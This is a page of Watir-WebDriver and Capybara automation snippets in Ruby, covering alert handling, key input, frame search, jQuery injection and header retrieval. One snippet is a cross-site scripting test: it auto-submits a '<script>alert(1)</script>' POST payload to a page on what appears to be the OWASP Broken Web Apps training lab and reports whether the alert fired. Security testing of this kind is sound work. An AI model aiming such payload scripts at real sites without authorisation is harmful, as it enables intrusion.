For common questions with Watir-WebDriver or Capybara, look here next:
- http://watirwebdriver.com/web-elements/ (and the "advanced interactions" items)
- https://github.com/jnicklas/capybara
Detect and Close JavaScript Alert Boxes:
Watir-WebDriver
begin
browser.driver.switch_to.alert.accept #raises an exception if no alert is present
puts 'alert box found'
rescue
puts 'alert box not found'
end
Capybara:
page.driver.browser.switch_to.alert.accept
Perform Arbitrary HTTP POST Requests:
Watir-WebDriver
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #POST http://owaspbwa/vicnum/vicnum5.php | |
| #player=<script>alert(1)</script> | |
| require 'tempfile' | |
| require 'escape_utils' | |
| require 'watir-webdriver' | |
| target='http://owaspbwa/vicnum/vicnum5.php' #the attack target | |
| post='player=<script>alert(1)</script>' #the POST data to send to the target | |
| postdata=Array.new | |
| post.split('&').each do |name_value| | |
| postdata.push(name_value.split('=')) | |
| end | |
| #Create an HTML form to submit the POST request | |
| html="<html><head></head><body>\r\n" | |
| html+='<form name="WATIR_AUTO_FORM" method="post" action="'+target+'">'+"\r\n" | |
| postdata.each do |pair| | |
| if(pair.count > 0 && pair[0] && !pair[0].empty?) | |
| html+='<input type="hidden" name="'+pair[0]+'" value="' | |
| if(pair.count > 1 && pair[1]) | |
| html+=pair[1] | |
| end | |
| html+='" />'+"\r\n" | |
| end | |
| end | |
| html+='</form><script>document.forms["WATIR_AUTO_FORM"].submit();</script></body></html>' | |
| #save the HTML content to a file. | |
| f=Tempfile.new('test.html') | |
| f.puts(html) | |
| location='file://'+f.path | |
| print location+"\r\n" | |
| f.close | |
| browser = Watir::Browser.new | |
| #View the generate HTML page | |
| browser.goto location | |
| begin | |
| browser.driver.switch_to.alert.accept #throws an error if no alert is present | |
| puts "XSS alert box was displayed!" | |
| rescue | |
| puts "Failed!" | |
| end |
Send Keyboard Commands:
Watir-WebDriver
browser.text_field(:name,/login/i).send_keys(:arrow_down)Capybara:
page.find_field('login').native.send_keys(:arrow_down)Search For Text/HTML Within a Nested Frame:
Watir-WebDriver
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def each_frame(frames,&block) | |
| frames.each do |f| | |
| yield f | |
| each_frame(f.frames,&block) | |
| end | |
| end | |
| status = browser.html.include?(match) | |
| each_frame(browser.frames) do |f| | |
| break if(status=status || f.html.include?(match)) | |
| end |
Returning Content From Javascript:
Watir-WebDriver
browser.execute_script(‘return “asdf”’) #=> returns “asdf” to rubyInclude JQuery: Watir-WebDriver
browser.execute_script(%q|
var el = document.createElement("script");
el.setAttribute("src","http://code.jquery.com/jquery-1.6.4.min.js");
document.body.appendChild(el);|)
Return HTTP Headers:
Watir-WebDriver
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| url='http://www.google.com' | |
| browser.goto(url) | |
| browser.execute_script(%q|var el = document.createElement("script");el.setAttribute("src","http://code.jquery.com/jquery-1.6.4.min.js");document.body.appendChild(el);|) | |
| browser.execute_script(%q|var geturl = $.ajax({type: GET,url: '|+url+%q|',complete: function () {$('body').data('httpheaders_complete',true);},success: function (data,status,xhr) {$('body').data('httpheaders',geturl.getAllResponseHeaders());$('body').data('content',data);}});|) | |
| browser.wait_until { browser.execute_script(%q|return $('body').data('httpheaders_complete');|) } | |
| browser.execute_script(%q|return $('body').data('httpheaders');|) |
Posts
